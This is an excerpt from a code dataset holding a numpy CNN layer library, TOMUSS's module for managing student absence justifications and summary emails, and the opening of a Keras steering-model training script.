conv_forward_flatten(self.x,\n w_size=self.w_w,\n pad_size=self.pad,\n stride=self.stride)\n flatten_w = self.w.reshape(self.oc, -1).transpose()\n flatten_out = np.dot(flatten_x, flatten_w)\n out = flatten_out.reshape(x.shape[0],\n output_row_num,\n output_col_num,\n self.oc).transpose(0, 3, 1, 2)\n return out\n\n def backward(self, dout):\n dw_flatten_x, *_ = conv_forward_flatten(self.x,\n w_size=self.w_w,\n pad_size=self.pad,\n stride=self.stride)\n dw_flatten_x = dw_flatten_x.T\n flatten_dout = dout.transpose(0, 2, 3, 1).reshape(-1, self.oc)\n flatten_dw = np.dot(dw_flatten_x, flatten_dout)\n dw = flatten_dw.transpose().reshape(self.w.shape)\n\n pad_size = self.w_w - self.pad - 1\n padded_dout = pad_each_element(dout, self.stride - 1)\n padded_dout = pad(padded_dout, max(pad_size, 0))\n\n rotated_w = np.rot90(self.w, 2, axes=(3,2))\n flatten_padded_dout, out_row_num, out_col_num = conv_forward_flatten(padded_dout, self.w_w)\n flatten_rotated_w = rotated_w.reshape(\n self.w.shape[0],\n self.w.shape[1],\n -1\n ).transpose(0, 2, 1).reshape(self.w.shape[0]*self.w_w**2, -1)\n flatten_dx = np.dot(flatten_padded_dout, flatten_rotated_w)\n\n dx = flatten_dx.transpose().reshape(self.x.shape[1],\n self.x.shape[0],\n out_row_num,\n out_col_num).transpose(1, 0, 2, 3)\n if pad_size < 0:\n dx = dx[:, :, -pad_size:pad_size, -pad_size:pad_size]\n return dx, dw\n\n def update(self, dw):\n self.w, self.m_t, self.n_t, self.update_iter = ADAM_update(\n self.w,\n self.learn_rate,\n self.m_t,\n self.n_t,\n self.update_iter,\n dw\n )\n\n\nclass SoftmaxWithLoss:\n def softmax(self, x):\n x = x - np.max(x)\n return np.exp(x) / np.sum(np.exp(x), axis=0)\n\n def loss(self, y, t):\n return -np.sum(np.log(y) * t) / self.batch_size\n\n def forward(self, a, t):\n self.t = t\n self.batch_size = t.shape[1]\n y = self.softmax(a)\n self.y = y\n loss = self.loss(y, t)\n return loss\n\n def backward(self):\n return (self.y - self.t) / self.batch_size\n\n\nclass FullyConnected:\n def forward(self, x):\n self.x = x\n return x.reshape(x.shape[0], -1).transpose()\n\n def backward(self, dout):\n return dout.transpose().reshape(self.x.shape)\n\n\nclass Affine:\n def __init__(self, name, params):\n init_scale = params['init_scale']\n w_h = params[name]['w_h']\n w_w = params[name]['w_w']\n learn_rate = params['learn_rate']\n\n self.w = init_scale * np.random.randn(w_h, w_w)\n self.b = np.zeros((w_w, 1))\n self.m_t_w = np.zeros_like(self.w)\n self.m_t_b = np.zeros_like(self.b)\n self.n_t_w = np.zeros_like(self.w)\n self.n_t_b = np.zeros_like(self.b)\n self.update_iter = 0\n self.name = name\n self.x = None\n self.learn_rate = learn_rate\n\n def forward(self, x):\n x_shape = x.shape\n self.x = x.reshape(x.shape[0], -1)\n z = np.dot(self.w.transpose(), x) + self.b\n return z\n\n def backward(self, dout):\n dx = np.dot(self.w, dout)\n batch_size = self.x.shape[1]\n dw = np.dot(self.x, dout.transpose())\n db = np.sum(dout, axis=1).reshape(self.b.shape)\n return dx, dw, db\n\n def update(self, dw, db):\n self.w, self.m_t_w, self.n_t_w, _ = ADAM_update(\n self.w,\n self.learn_rate,\n self.m_t_w,\n self.n_t_w,\n self.update_iter,\n dw\n )\n\n self.b, self.m_t_b, self.n_t_b, self.update_iter = ADAM_update(\n self.b,\n self.learn_rate,\n self.m_t_b,\n self.n_t_b,\n self.update_iter,\n db\n )\n\n\nclass ReLU:\n def forward(self, x):\n self.mask = (x <= 0)\n out = x.copy()\n out[self.mask] = 0\n return out\n\n def backward(self, dout):\n dout_copy = np.copy(dout)\n dout_copy[self.mask] = 0\n dx = dout_copy\n return dx\n\n\nclass MaxPool:\n def __init__(self, name, params):\n self.name = name\n self.w_w = params[name]['w_w']\n self.pad = params[name]['pad']\n self.stride = params[name]['stride']\n\n def forward(self, x):\n self.x = x\n flatten_x, output_row_num, output_col_num = pool_forward_flatten(self.x,\n w_size=self.w_w,\n pad_size=self.pad,\n stride=self.stride)\n flatten_rst = np.max(flatten_x, axis=2)\n self.mask = np.argmax(flatten_x, axis=2)\n rst = flatten_rst.reshape(x.shape[0], x.shape[1], output_row_num, output_col_num)\n return rst\n\n def backward(self, dout):\n dmax_flatten = np.zeros((self.w_w**2, dout.size))\n m = dout.shape[0]\n dmax_flatten[self.mask, np.arange(dout.size).reshape(m, -1)] = dout.reshape(m, -1)[:]\n dmax = dmax_flatten.transpose().reshape(dout.shape[0],\n dout.shape[1],\n dout.shape[2],\n dout.shape[3],\n self.w_w,\n self.w_w)\n dx = np.zeros(self.x.shape)\n dx = pad(dx, self.pad)\n for r in range(dout.shape[2]):\n for c in range(dout.shape[3]):\n dx[:, :, r*self.stride:r*self.stride + self.w_w, c*self.stride:c*self.stride + self.w_w] += dmax[:, :, r, c]\n if self.pad != 0:\n dx = dx[:, :, self.pad:-self.pad, self.pad:-self.pad]\n return dx\n\n","sub_path":"lib/Layers.py","file_name":"Layers.py","file_ext":"py","file_size_in_byte":7527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"645987803","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# TOMUSS: The Online Multi User Simple Spreadsheet\n# Copyright (C) 2008-2014 Thierry EXCOFFIER, Universite Claude Bernard\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n#\n# Contact: Thierry.EXCOFFIER@bat710.univ-lyon1.fr\n\n\"\"\"Management of the justification for missing courses.\"\"\"\n\nimport os\nimport time\nimport html\nimport glob\nimport re\nfrom . import utilities\nfrom . import configuration\nfrom . import inscrits\nfrom . import document\nfrom . import teacher\n\njs = utilities.js\n\ndef a_date(date):\n \"\"\"Check if the date (DD/MM/YYYY/[MA]) seems fine\"\"\"\n if date[-1] not in \"MA\":\n raise ValueError(\"Bad date:\" + date)\n int_list = [int(v) for v in date[:-1].split('/')]\n if len(int_list) != 3:\n raise ValueError(\"Bad date:\" + date)\n if (int_list[0] >= 1 and int_list[0] <= 31 and\n int_list[1] >= 1 and int_list[1] <= 12 and\n int_list[2] > 2000):\n return '%d/%d/%d%s' % (int_list[0], int_list[1], int_list[2], date[-1])\n raise ValueError(\"Bad date:\" + date)\n\nclass Abj(object):\n \"\"\"ABJ for a given student\n\n Functions: add, rem, add_da, rem_da\n are stored in the key file of the student (per university year).\n The parameters are yet validated.\n\n The same functions beginning with 'store_' do the check and the storage.\n \"\"\"\n\n def __init__(self, year, semester, login):\n self.first_day, self.last_day = utilities.semester_span(year, semester)\n year, semester = utilities.university_year_semester(year, semester)\n self.login = utilities.the_login(login)\n self.filename = os.path.join(self.login, 'abj_%d' % year)\n self.abjs = []\n self.da = []\n f = utilities.manage_key('LOGINS', self.filename)\n if f:\n locales = self.get_locales()\n for line in f.strip().split('\\n'):\n eval(line.strip(), {}, locales)\n\n def get_locales(self):\n return {'add' : self.add,\n 'add_da': self.add_da,\n 'rem' : self.rem,\n 'rem2' : self.rem2,\n 'rem_da': self.rem_da,\n }\n\n def store(self, data):\n utilities.manage_key('LOGINS',self.filename, content=data, append=True)\n eval(data, {}, self.get_locales())\n\n def add(self, from_date, to_date, author, dummy_date, comment):\n self.abjs.append((from_date, to_date, author, comment))\n def store_add(self, from_date, to_date, user_name, date, comment):\n from_date = a_date(from_date)\n to_date = a_date(to_date)\n for abj in self.abjs:\n if (from_date, to_date) == abj[:2]:\n print('Do no add twice the same ABJ for', self.login)\n print(from_date, to_date, user_name, date, comment)\n for i in self.abjs:\n print('\\t', i)\n return\n if not date:\n date = time.strftime('%Y%m%d%H%M%S')\n self.store('add(%s,%s,%s,%s,%s)\\n' % (\n repr(from_date), repr(to_date), repr(user_name),\n repr(date), repr(comment)))\n \n def add_da(self, ue_code, date, author, dummy_fdate, comment):\n self.da.append((ue_code, date, author, comment))\n def store_add_da(self, ue_code, date, user_name, fdate, comment):\n for i in self.da:\n if i[0] == ue_code and i[1] == date:\n return\n if not fdate:\n fdate = time.strftime('%Y%m%d%H%M%S')\n self.store('add_da(%s,%s,%s,%s,%s)\\n' % (\n repr(ue_code), repr(date), repr(user_name),\n repr(fdate), repr(comment)))\n\n def rem(self, from_date, to_date, dummy_username, dummy_date):\n \"\"\"BUGGED: Do not use. It is here to allow reading <2010 files\"\"\"\n self.abjs = [abj\n for abj in self.abjs\n if abj[0] != from_date and abj[1] != to_date]\n def store_rem(self, from_date, to_date, user_name, date=''):\n \"\"\"BUGGED: Do not use. It is here to allow reading <2010 files\"\"\"\n from_date = a_date(from_date)\n to_date = a_date(to_date)\n if not date:\n date = time.strftime('%Y%m%d%H%M%S')\n self.store('rem(%s,%s,%s,%s)\\n' % (\n repr(from_date), repr(to_date), repr(user_name), repr(date)))\n\n def rem2(self, from_date, to_date, dummy_username, dummy_date):\n self.abjs = [abj\n for abj in self.abjs\n if abj[0] != from_date or abj[1] != to_date]\n def store_rem2(self, from_date, to_date, user_name, date=''):\n from_date = a_date(from_date)\n to_date = a_date(to_date)\n if not date:\n date = time.strftime('%Y%m%d%H%M%S')\n self.store('rem2(%s,%s,%s,%s)\\n' % (\n repr(from_date), repr(to_date), repr(user_name), repr(date)))\n \n def rem_da(self, ue_code, dummy_username, dummy_date):\n self.da = [da for da in self.da if da[0] != ue_code]\n def store_rem_da(self, ue_code, user_name, date):\n if not date:\n date = time.strftime('%Y%m%d%H%M%S')\n self.store('rem_da(%s,%s,%s)\\n' % (\n repr(ue_code), repr(user_name), repr(date)))\n\n def js(self, full=True, current=False):\n \"\"\"All the student ABJ data as a JavaScript fragment\"\"\"\n abj_list = []\n if current:\n list_in = self.current_abjs()\n else:\n list_in = self.abjs\n for from_date, to_date, author, comment in list_in:\n if full:\n abj_list.append('[%s,%s,%s,%s]' % (repr(from_date),\n repr(to_date),\n repr(author), js(comment)))\n else:\n abj_list.append('[%s,%s,%s]' % (repr(from_date),\n repr(to_date),\n js(comment)))\n return '[' + ','.join(abj_list) + ']'\n\n def js_da(self, current=False):\n \"\"\"All the student DA data as a JavaScript fragment\"\"\"\n da_list = []\n if current:\n list_in = self.current_das()\n else:\n list_in = self.da\n for ue_code, date, author, comment in list_in:\n da_list.append('[%s,%s,%s,%s]' % (repr(ue_code), repr(date),\n repr(author), js(comment)))\n return '[' + ','.join(da_list) + ']'\n\n def ues_without_da(self):\n \"\"\"List of the UE_CODE registered by the student, but without DA\"\"\"\n ues = inscrits.L_fast.ues_of_a_student_short(self.login)\n if len(self.da) == 0:\n return ues\n da = list(zip(*self.da))[0]\n return [ue_code for ue_code in ues if ue_code not in da]\n\n def current_abjs(self):\n for abj in self.abjs:\n abj_begin = utilities.date_to_time(abj[0].rstrip('AM'), 0)\n abj_end = utilities.date_to_time(abj[1].rstrip('AM'), 8000000000)\n if max(self.first_day, abj_begin) <= min(self.last_day, abj_end):\n yield abj\n\n def current_das(self):\n for da in self.da:\n date = configuration.date_to_time(da[1])\n if self.first_day < date < self.last_day:\n yield da\n\nclass Abjs(object):\n \"\"\"ABJ for a set of students\"\"\"\n\n def __init__(self, year, semester):\n self.year, self.semester = utilities.university_year_semester(\n year, semester)\n\n # This code is here to translate old data format to the new one.\n \n if configuration.read_only:\n return\n filename = os.path.join(configuration.db, 'Y'+str(year), 'S'+semester)\n utilities.mkpath_safe(filename)\n filename = os.path.join(filename, 'abjs.py')\n if not os.path.exists(filename):\n return\n utilities.warn('Start translation from old file format')\n\n locales = {'add' : self.add ,\n 'add_da': self.add_da,\n 'rem' : self.rem ,\n 'rem2' : self.rem ,\n 'rem_da': self.rem_da,\n }\n f = open(filename, \"r\", encoding = \"utf-8\")\n for line in f:\n if '(' not in line:\n continue\n eval(line, {}, locales)\n f.close()\n\n utilities.unlink_safe(filename)\n utilities.warn('Done translation from old file format')\n\n def add(self, login, from_date, to_date, user_name='', date='',comment=''):\n Abj(self.year, self.semester, login).store_add(\n from_date, to_date, user_name, date, comment)\n def add_da(self, login, ue_code, date=None, user_name='', fdate='',\n comment=''):\n Abj(self.year, self.semester, login).store_add_da(\n ue_code, date, user_name, fdate, comment)\n def rem(self, login, from_date, to_date, user_name='', date=''):\n \"\"\"BUGGED: Do not use. It is here to allow reading <2010 files\"\"\"\n Abj(self.year, self.semester, login).store_rem(\n from_date, to_date, user_name, date)\n def rem2(self, login, from_date, to_date, user_name='', date=''):\n Abj(self.year, self.semester, login).store_rem2(\n from_date, to_date, user_name, date)\n def rem_da(self, login, ue_code, user_name='', date=''):\n Abj(self.year, self.semester, login).store_rem_da(\n ue_code, user_name, date)\n\n def students(self, progress_bar=None):\n i = 0\n dirs = tuple(glob.glob(os.path.join(configuration.db, 'LOGINS','*')))\n for key in dirs:\n if progress_bar:\n i += 1\n progress_bar.update(i, len(dirs))\n for filename in glob.glob(os.path.join(key, '*',\n 'abj_%s' % self.year)):\n yield filename.split(os.path.sep)[-2]\n\ndef add_abjs(year, semester, ticket, student, from_date, to_date, comment):\n \"\"\"Helper function\"\"\"\n Abjs(year, semester).add(student, from_date, to_date, ticket.user_name,\n comment=comment)\n\ndef rem_abjs(year, semester, ticket, student, from_date, to_date):\n \"\"\"Helper function\"\"\"\n Abjs(year, semester).rem(student, from_date, to_date,\n ticket.user_name)\n\ndef add_abjs_da(year, semester, ticket, student, ue_code, date, comment):\n \"\"\"Helper function\"\"\"\n Abjs(year, semester).add_da(student, ue_code, date, ticket.user_name,\n comment=comment)\n\ndef rem_abjs_da(year, semester, ticket, student, ue_code):\n \"\"\"Helper function\"\"\"\n Abjs(year, semester).rem_da(student, ue_code, ticket.user_name)\n\ndef html_abjs(year, semester, student, full=False):\n \"\"\"Get all the ABJS/DA informations has HTML\n It is required to include suivi_student.js\n \"\"\"\n s = ''\n a = Abj(year, semester, student)\n a_abj = a.js(full=full)\n if len(a_abj) > 2:\n s += ('node.data = ' + a.js(full=full, current=True)\n + '; document.write(DisplayAbjs(node)) ;')\n a_da = a.js_da()\n if len(a_da) > 2:\n s += ('node.data = ' + a.js_da(current=True)\n + '; document.write(DisplayDA(node)) ;')\n if s:\n return ''\n return ''\n\ndef a_student(browser, year, semester, ticket, student):\n \"\"\"Send student abj with the data to_date the navigator.\"\"\"\n student = inscrits.login_to_student_id(student)\n html = \"\"\"\n\n\n
\n\"\"\" % (configuration.url_files, configuration.picture(student, ticket))\n\n html += \"%s, %s'\n browser.write(html)\n\ndef tierstemps(student_id, table_tt=None, only_current=True):\n \"\"\"Returns a strings containing all tiers-temps informations about\n the student from the TT table given.\"\"\"\n student_id = inscrits.login_to_student_id(student_id)\n if table_tt == None:\n # Get TT for current year\n table_tt = get_table_tt(*configuration.year_semester)\n tt = table_tt.the_current_tt(table_tt).get(student_id, None)\n if tt and (not only_current or tt.current()):\n return tt.text()\n return ''\n\ndef title(name, sort_fct):\n \"\"\"Columns title with the link to sort the HTML table\"\"\"\n return (name +\n ' (Trier)')\n\ndef alpha_html(server, year, semester, ue_name_endswith=\"\",\n ue_name_startswith=\"\", author=None, match=None):\n \"\"\"Returns ABJ/DA information for all the students in HTML format\"\"\"\n _ = utilities._\n write = server.the_file.write\n write('''\n\n\n\n\n
\n''')\n progress_bar = utilities.ProgressBar(\n server, message = '

' + server._(\"MSG_suivi_student_wait\")+'

')\n write('')\n line = '' + '' * 8 + '\\n'\n write(line % (\n _(\"COL_TITLE_0_1\"),\n title(_(\"COL_TITLE_0_2\"), 'cmp_name'),\n title(_(\"COL_TITLE_0_0\"), 'cmp_id'),\n _(\"TH_what\"),\n title(_(\"B_Date\"), 'cmp_ue'),\n title(_(\"TH_end_or_ue\"), 'cmp_ue2'),\n title(_(\"TH_comment\"), 'cmp_comment'),\n title(_(\"TH_abj_author\"), 'cmp_comment'),\n ))\n if match is None:\n match = \"^\" + ue_name_endswith + \".*\" + ue_name_startswith + \"$\"\n match_compiled = re.compile(match)\n students = tuple(Abjs(year, semester).students(progress_bar))\n nb = 0\n for login in students:\n nb += 1\n progress_bar.update(nb, len(students))\n if match != \"^.*$\":\n for ue_code in inscrits.L_batch.ues_of_a_student_short(login):\n if match_compiled.match(ue_code):\n break\n else:\n continue\n\n def w(a, b, c, d, e):\n fn, sn = inscrits.L_slow.firstname_and_surname(login)\n write( line % (fn, sn, login, a, b, c ,d, e))\n student = Abj(year, semester, login)\n for from_date, to_date, author2, comment in student.abjs:\n if author is None or author == author2:\n w('ABJ', from_date, to_date, html.escape(comment), author2)\n for ue_code, date, author2, comment in student.da:\n if author is None or author == author2:\n w('DAS', date, ue_code, html.escape(comment), author2)\n write('
%s
'\n + '' % (\n utilities.js(utilities._(\"MSG_abj_choose_action\")),\n utilities.js(utilities._(\"MSG_abj_hide_abj\")),\n utilities.js(utilities._(\"MSG_abj_hide_da\")),\n utilities.js(utilities._(\"MSG_abj_display_all\")))\n )\n progress_bar.hide()\n write(utilities.read_file(os.path.join('FILES', 'abj_recap.html')))\n\ndef underline(txt, char='='):\n \"\"\"Returns the text preceded with a line of '=' of same length\"\"\"\n return '\\n' + char * len(txt) + '\\n' + txt + '\\n' + char * len(txt) + '\\n'\n\ndef nice_date(date):\n \"\"\"Returns a DD/MM/YYYY/[AM] nicely formatted\"\"\"\n return date.replace('M',' ' + configuration.ampms_full[0]\n ).replace('A', ' ' + configuration.ampms_full[1])\n\ndef get_table_tt(year, semester):\n \"\"\"Returns the current database for TT\"\"\"\n return document.table(utilities.university_year(year, semester),\n 'Dossiers', 'tt')\n\ndef feedback(browser, letter, nr_letters):\n \"\"\"This function displays a feedback in the browser while\n loading students informations\"\"\"\n if browser:\n nr_letters += 1\n if nr_letters % 80 == 0:\n letter += '\\n'\n browser.write(letter)\n browser.flush()\n return nr_letters\n\n#REDEFINE\n# When a student has an ABJ it may be outside of UE schedule.\n# The function returns the ABJs without ABJ outside of UE planning.\ndef prune_abjs(abj_list, group, sequence, ue_code):\n \"\"\"Trim unecessary ABJS\"\"\"\n return abj_list\n\ndef do_prune(abj_list, first_day, last_day, group, sequence, ue_code):\n \"\"\"Trim unecessary ABJS using first and last day of the course.\"\"\"\n abjs_pruned = []\n messages = []\n for abjj in abj_list:\n if utilities.date_to_time(abjj[0][:-1], 0) >= last_day:\n continue\n if utilities.date_to_time(abjj[1][:-1], 8000000000) < first_day:\n continue\n if abjj[3].startswith('{{{MESSAGE}}}'):\n messages.append(abjj)\n continue\n abjs_pruned.append(abjj)\n\n return prune_abjs(abjs_pruned, group, sequence, ue_code) + messages\n\ndef ue_mails_and_comments(ue_code):\n \"\"\"Returns the mails of the master of the UE and a comment\n about the origin of the mail address\"\"\"\n mails = []\n text = []\n the_ue = teacher.all_ues().get(ue_code[3:], None)\n if the_ue:\n for teacher_login in the_ue.responsables_login():\n fn, sn, mail = inscrits.L_slow.firstname_and_surname_and_mail(\n teacher_login)\n text.append(\" * \" + fn.title() + ' ' + sn.upper() + ' : ')\n if mail == None:\n text.append(utilities._(\"MSG_abj_unknown_mail\"))\n else:\n mails.append(mail.lower())\n text.append(mail)\n text.append('\\n')\n\n # Add other mails\n \n other_mails = []\n for an_other_mail in teacher.other_mails(ue_code[3:]):\n an_other_mail = an_other_mail.lower()\n if an_other_mail not in mails:\n other_mails.append(an_other_mail)\n\n if other_mails:\n text.append(\" \" + utilities._(\"MSG_other_mail\") +\n ', '.join(other_mails) + '\\n')\n mails += other_mails\n\n # Add other mails from SPIRAL\n\n if the_ue:\n other_mails = []\n for an_other_mail in the_ue.mails():\n an_other_mail = an_other_mail.lower()\n if an_other_mail not in mails:\n other_mails.append(an_other_mail)\n\n if other_mails:\n text.append(\" \" + utilities._(\"MSG_other_mail2\") +\n ', '.join(other_mails) + '\\n')\n mails += other_mails\n\n if len(mails) == 0:\n text.append(utilities._(\"MSG_no_master\") + '\\n')\n\n return mails, text\n\ndef ue_resume(ue_code, year, semester, browser=None):\n \"\"\"Returns all the ABJ/DA/TT informations about the all the UE students\"\"\"\n nr_letters = 0\n\n table_tt = get_table_tt(year, semester)\n #\n # The UE title\n #\n the_ue = teacher.all_ues().get(ue_code[3:], None)\n\n if browser:\n text = []\n browser.write(utilities._(\"MSG_suivi_student_wait\") + '\\n')\n else:\n text = [utilities._(\"MSG_abj_mail_header\") % configuration.server_url\n + '\\n\\n']\n\n if not the_ue:\n text.append(underline(ue_code + utilities._(\"MSG_abj_no_title\")))\n else:\n text.append(underline(ue_code + ' : ' + the_ue.intitule()))\n\n text.append('\\n' + utilities._(\"MSG_abj_link\") + '\\n\\n')\n text.append(' %s/%s/%s/%s/resume\\n' % (\n configuration.server_url, year, semester, ue_code))\n #\n # The UE managers\n #\n text.append(underline(utilities._(\"MSG_abj_master\"), char='-'))\n mails, infos = ue_mails_and_comments(ue_code)\n text += infos\n\n the_students = []\n first_day = 0\n last_day = 8000000000\n\n if len(the_students) == 0:\n # Fast process but may be incomplete\n table_ue = document.table(year, semester, ue_code, create=False)\n if table_ue:\n the_students = [(line[0].value, line[3].value, line[4].value)\n for line in table_ue.lines.values()\n if line[0].value]\n first_day = table_ue.dates[0]\n last_day = table_ue.dates[1] + 86400 # End of last day\n table_ue.unload()\n if first_day == 0:\n first_day, last_day = utilities.semester_span(year, semester)\n utilities.warn('first_day=%s %s' % (first_day, last_day))\n #\n # The ABJ\n #\n first = True\n infos = []\n for student_login, group, sequence in the_students:\n student_id = inscrits.login_to_student_id(student_login)\n student = Abj(year, semester, student_id)\n \n abjs_pruned = do_prune(student.abjs, first_day, last_day,\n group, sequence, ue_code) \n\n if len(abjs_pruned) == 0:\n continue\n nr_letters = feedback(browser, 'A', nr_letters)\n if first:\n first = False\n text.append(underline(utilities._(\"TH_ABJ_list\"), char='-'))\n fs = inscrits.L_slow.firstname_and_surname(student.login)\n the_abjs = (' * ' + student.login + ' ' + fs[1].upper() + ' ' +\n fs[0].title() + '\\n')\n for abj in abjs_pruned:\n if abj[0] == abj[1]:\n an_abj = ' - ' + utilities._(\"MSG_abj_the\") \\\n + ' ' + nice_date(abj[0])\n elif abj[0][:-1] == abj[1][:-1]:\n an_abj = ' - ' + utilities._(\"MSG_abj_the\") \\\n + ' ' + abj[0][:-1]\n else:\n an_abj = \" - \" + utilities._(\"MSG_abjtt_from_before\") \\\n + \" \" + nice_date(abj[0]) + ' ' \\\n + utilities._(\"TH_until\") + ' ' + nice_date(abj[1])\n if abj[3]:\n an_abj += ' (' + abj[3] + ')'\n \n the_abjs += an_abj + '\\n'\n infos.append( (utilities.flat(fs[1]).lower(),\n utilities.flat(fs[0]).lower(),\n the_abjs) )\n if infos:\n infos.sort()\n text += list(zip(*infos))[2]\n #\n # The DA\n #\n first = True\n infos = []\n for student_login, group, sequence in the_students:\n student_id = inscrits.login_to_student_id(student_login)\n student = Abj(year, semester, student_id)\n dates = [d for d in student.current_das() if d[0] == ue_code]\n if dates:\n nr_letters = feedback(browser, 'D', nr_letters)\n if first:\n first = False\n text.append(underline(utilities._(\"MSG_abj_da_list\"),\n char='-'))\n fs = inscrits.L_slow.firstname_and_surname(student_login)\n an_abj = (' * ' + student_login + ' '\n + fs[1].upper() + ' ' + fs[0].title()\n + ' ' + utilities._(\"MSG_abj_tt_from\") + dates[0][1])\n if dates[0][3]:\n an_abj += ' (' + dates[0][3] + ')'\n an_abj += '\\n'\n \n infos.append((utilities.flat(fs[1]).lower(),\n utilities.flat(fs[0]).lower(),\n an_abj))\n if infos:\n infos.sort()\n text += list(zip(*infos))[2]\n #\n # The TT\n #\n first = True\n tt_logins = list(table_tt.logins())\n infos = []\n\n for student_login, group, sequence in the_students:\n infos_tt = tierstemps(student_login, table_tt = table_tt)\n if not infos_tt:\n continue\n nr_letters = feedback(browser, 'T', nr_letters)\n if first:\n first = False\n text.append(underline(utilities._(\"MSG_abj_tt_list\"),\n char='-'))\n fs = inscrits.L_slow.firstname_and_surname(student_login)\n a_tt = (' * ' + student_login + ' ' + fs[1].upper() + ' '\n + fs[0].title() + '\\n')\n for line in infos_tt.strip().split('\\n'):\n a_tt += ' - ' + line + '\\n'\n infos.append((utilities.flat(fs[1]).lower(),\n utilities.flat(fs[0]).lower(),\n a_tt))\n\n if infos:\n infos.sort()\n text += list(zip(*infos))[2]\n\n return text, mails\n\nto_send_ok = [] # (Recipent, Title, message) list\n\ndef list_mail(browser, year, semester, only_licence=True):\n \"\"\"Compute and display for all the UE the 'ue_resume'.\n Store the result in order to send all the mails after human check\"\"\"\n to_send = []\n sender = configuration.abj_sender\n browser.write(utilities._(\"MSG_abj_sender\") + sender)\n browser.write('
')\n\n    ues = {}\n    for login in Abjs(year, semester).students():\n        student = Abj(year, semester, login)\n        for a_da in student.da:\n            ues[a_da[0]] = True\n        if student.abjs:\n            for ue_code in inscrits.L_batch.ues_of_a_student_short(student.login):\n                ues[ue_code] = True\n\n    table_tt = get_table_tt(year, semester)\n    tt_logins = list(table_tt.logins())\n    for student_login in tt_logins:\n        for ue_code in inscrits.L_batch.ues_of_a_student_short(student_login):\n            ues[ue_code] = True\n    if only_licence:\n        ues = [ue_code for ue_code in ues if ue_code[-1] == 'L']\n    for ue_code in ues:\n        lines, mails = ue_resume(ue_code, year, semester)\n        browser.write(''.join(lines))\n        if mails:\n            to_send.append( (mails,\n                             'ABJ + DA + TT pour l\\'UE ' + ue_code,\n                             ''.join(lines)) )\n    global to_send_ok\n    to_send_ok = to_send\n    browser.write('
' + utilities._(\"MSG_abj_send\") % len(to_send))\n\nto_send_ok_example = [\n (['exco@bat710.univ-lyon1.fr', 'thierry.excoffier@bat710.univ-lyon1.fr'],\n 'UE_CODE x',\n 'blabla'),\n (['exco@liris.univ-lyon1.fr', 'excé@www710.univ-lyon1.fr'],\n 'UE_CODE y',\n 'blaBLA'),\n (['exco@bat710.univ-lyon1.fr', 'thierry.excoffier@bat710.univ-lyon1.fr'],\n 'UE_CODE z',\n 'blabla'),\n ]\n\ndef send_mail(browser):\n \"\"\"Send all the mails generated by 'list_mail'\"\"\"\n for recipients, mail_title, text in to_send_ok:\n try:\n utilities.send_mail_in_background(recipients,\n mail_title,\n text,\n configuration.abj_sender)\n browser.write(\"

\" + repr(recipients)\n + utilities._(\"MSG_abj_sent\"))\n except UnicodeEncodeError:\n browser.write(\"

BUG dans abj.send_mail
\")\n","sub_path":"abj.py","file_name":"abj.py","file_ext":"py","file_size_in_byte":27581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"456808490","text":"# general\nfrom __future__ import absolute_import\nimport os\nimport sys\nimport argparse\nimport csv\nimport cv2\nimport numpy as np\nfrom absl import app\nimport tensorflow as tf\nimport sklearn\nfrom sklearn.model_selection import train_test_split\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Flatten, Dense, Conv2D, MaxPooling2D, Dropout, Lambda, Cropping2D\nfrom utils import preprocess_image, augment_data, display_results\n\nFLAGS = None\ndata_dir = './data'\n\n\n# read data\ndef read_data(data_path):\n samples = []\n log_path = os.path.join(os.path.abspath(data_path), 'driving_log.csv')\n with open(log_path) as csvfile:\n reader = csv.reader(csvfile)\n for line in reader:\n samples.append(line)\n return samples\n\n\ndef generator(samples, batch_size=32):\n num_samples = len(samples)\n while 1: # Loop forever so the generator never terminates\n sklearn.utils.shuffle(samples)\n for offset in range(0, num_samples, batch_size):\n batch_samples = samples[offset:offset+batch_size]\n\n images = []\n angles = []\n for batch_sample in batch_samples:\n center_name = FLAGS.data_dir + '/IMG/' + batch_sample[0].split('/')[-1]\n center_image = preprocess_image(cv2.imread(center_name))\n center_angle = float(batch_sample[3])\n images.append(center_image)\n angles.append(center_angle)\n # data augmentation\n augmented_c_image, augmented_c_angle = augment_data(center_image, center_angle)\n images.append(augmented_c_image)\n angles.append(augmented_c_angle)\n\n # add in left and right cameras' info\n left_name = FLAGS.data_dir + '/IMG/' + batch_sample[1].split('/')[-1]\n left_image = preprocess_image(cv2.imread(left_name))\n right_name = FLAGS.data_dir + '/IMG/' + batch_sample[2].split('/')[-1]\n right_image = preprocess_image(cv2.imread(right_name))\n # create adjusted steering measurements for the side camera images\n correction = 0.3 # this is a parameter to tune\n left_angle = center_angle + correction\n right_angle = center_angle - correction\n # add images and angles to data set\n images.extend([left_image, right_image])\n angles.extend([left_angle, right_angle])\n\n # data augmentation\n augmented_l_image, augmented_l_angle = augment_data(left_image, left_angle)\n augmented_r_image, augmented_r_angle = augment_data(right_image, right_angle)\n images.extend([augmented_l_image, augmented_r_image])\n angles.extend([augmented_l_angle, augmented_r_angle])\n\n # trim image to only see section with road\n X = np.array(images)\n y = np.array(angles)\n\n X, y = sklearn.utils.shuffle(X, y)\n\n yield X, y\n\n# create model\ndef create_model():\n input_shape = (160, 320, 3)\n model = Sequential()\n model.add(Lambda(lambda x: x/127.5 - 1., input_shape=input_shape))\n model.add(Cropping2D(cropping=((50, 20), (0, 0))))\n model.add(Conv2D(6, (5, 5), strides=(2, 2), activation='relu'))\n model.add(MaxPooling2D(strides=(2, 2)))\n model.add(Conv2D(16, (5, 5), activation='relu'))\n model.add(MaxPooling2D(strides=(2, 2)))\n model.add(Flatten())\n model.add(Dense(120, activation='relu'))\n model.add(Dropout(0.5))\n model.add(Dense(84, activation='relu'))\n model.add(Dropout(0.5))\n model.add(Dense(1))\n model.summary()\n return model\n\n\ndef 